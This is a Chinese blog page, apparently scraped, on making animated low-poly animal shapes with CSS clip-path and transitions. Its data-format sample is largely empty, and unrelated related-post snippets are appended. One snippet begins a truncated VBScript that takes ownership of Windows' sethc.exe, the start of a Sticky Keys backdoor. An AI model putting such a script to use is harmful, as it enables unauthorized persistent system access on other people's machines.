有意思的clip path

2021-09-14 08:08:22 字數 1140 閱讀 1320

前段時間朋友介紹了乙個很帥的**

f12看了一下 dom 結構,發現作者只是結合了 css3 的 clip-path 和 transition 特性,就實現了很厲害的效果,每個轉場和動物的細節都做得很棒。

然後我根據自己的理解做了乙個demo, 並將核心js部分打包了出來,歡迎感興趣的朋友一起交流

demo中的來自 我只是做了低邊處理

先從乙個簡單的 clip-path 變形開始

這就是demo中所需要的基本動畫變形+變色, 至於如何構建精美的圖形變化, 就需要一點想象力和設計能力了

我們需要先設計出滿意的低邊圖案,注意控制三角形的數量,越少越好越少越好越少越好越少越好越少越好越少越好

接下來,需要將每個三角形的座標和色值轉化為資料格式。我目前找不到很高效的轉化方式,就用標註軟體標註完後,手工錄入,最後畫了3個就結束了。所以三角形的數量越少越好越少越好越少越好越少越好越少越好越少越好。

或者你有很好的方式介紹,請一定要告訴我。

現在準備工作完成了,最痛苦的階段也已經過去了

**實現的基本思路是這樣的

每個動物都是由36個不同顏色的三角形拼接而成, 所以需要36個 div 來顯示

每一次變化都將 36 個div 的 clip-path 屬性重新賦值

每個 div 都設定 transition 屬性, 讓轉場自動實現

區區幾行**就不貼出來了,感興趣的移步 github

cdn

shapes 屬性的資料格式

var data = [

第 1 個低邊圖形

[    // 基本圖形引數

, , ]

}...

],第 2 個低邊圖形

[ , , ]

}...

] ...

第 n 個低邊圖形

]

先這樣了 歡迎star

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...